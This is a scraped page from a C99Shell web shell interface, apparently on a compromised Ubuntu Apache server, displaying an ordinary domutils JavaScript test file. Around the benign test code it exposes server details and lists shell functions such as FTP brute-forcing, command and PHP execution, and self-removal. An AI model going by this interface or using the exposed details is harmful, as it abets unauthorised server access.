!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/node_modules/svgo/node_modules/domutils/test/tests/   drwxr-xr-x
Free 12.96 GB of 57.97 GB (22.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     legacy.js (3.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
var DomUtils = require("../..");
var fixture = require("../fixture");
var assert = require("assert");

// Set up expected structures
var expected = {
	idAsdf: fixture[1],
	tag2: [],
	typeScript: []
};
for (var idx = 0; idx < 20; ++idx) {
	expected.tag2.push(fixture[idx*2 + 1].children[5]);
	expected.typeScript.push(fixture[idx*2 + 1].children[1]);
}

describe("legacy", function() {
	describe("getElements", function() {
		var getElements = DomUtils.getElements;
		it("returns the node with the specified ID", function() {
			assert.deepEqual(
				getElements({ id: "asdf" }, fixture, true, 1),
				[expected.idAsdf]
			);
		});
		it("returns empty array for unknown IDs", function() {
			assert.deepEqual(getElements({ id: "asdfs" }, fixture, true), []);
		});
		it("returns the nodes with the specified tag name", function() {
			assert.deepEqual(
				getElements({ tag_name:"tag2" }, fixture, true),
				expected.tag2
			);
		});
		it("returns empty array for unknown tag names", function() {
			assert.deepEqual(
				getElements({ tag_name : "asdfs" }, fixture, true),
				[]
			);
		});
		it("returns the nodes with the specified tag type", function() {
			assert.deepEqual(
				getElements({ tag_type: "script" }, fixture, true),
				expected.typeScript
			);
		});
		it("returns empty array for unknown tag types", function() {
			assert.deepEqual(
				getElements({ tag_type: "video" }, fixture, true),
				[]
			);
		});
	});

	describe("getElementById", function() {
		var getElementById = DomUtils.getElementById;
		it("returns the specified node", function() {
			assert.equal(
				expected.idAsdf,
				getElementById("asdf", fixture, true)
			);
		});
		it("returns `null` for unknown IDs", function() {
			assert.equal(null, getElementById("asdfs", fixture, true));
		});
	});

	describe("getElementsByTagName", function() {
		var getElementsByTagName = DomUtils.getElementsByTagName;
		it("returns the specified nodes", function() {
			assert.deepEqual(
				getElementsByTagName("tag2", fixture, true),
				expected.tag2
			);
		});
		it("returns empty array for unknown tag names", function() {
			assert.deepEqual(
				getElementsByTagName("tag23", fixture, true),
				[]
			);
		});
	});

	describe("getElementsByTagType", function() {
		var getElementsByTagType = DomUtils.getElementsByTagType;
		it("returns the specified nodes", function() {
			assert.deepEqual(
				getElementsByTagType("script", fixture, true),
				expected.typeScript
			);
		});
		it("returns empty array for unknown tag types", function() {
			assert.deepEqual(
				getElementsByTagType("video", fixture, true),
				[]
			);
		});
	});

	describe("getOuterHTML", function() {
		var getOuterHTML = DomUtils.getOuterHTML;
		it("Correctly renders the outer HTML", function() {
			assert.equal(
				getOuterHTML(fixture[1]),
				"<tag1 id=\"asdf\"> <script>text</script> <!-- comment --> <tag2> text </tag2></tag1>"
			);
		});
	});

	describe("getInnerHTML", function() {
		var getInnerHTML = DomUtils.getInnerHTML;
		it("Correctly renders the inner HTML", function() {
			assert.equal(
				getInnerHTML(fixture[1]),
				" <script>text</script> <!-- comment --> <tag2> text </tag2>"
			);
		});
	});

});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0258 ]--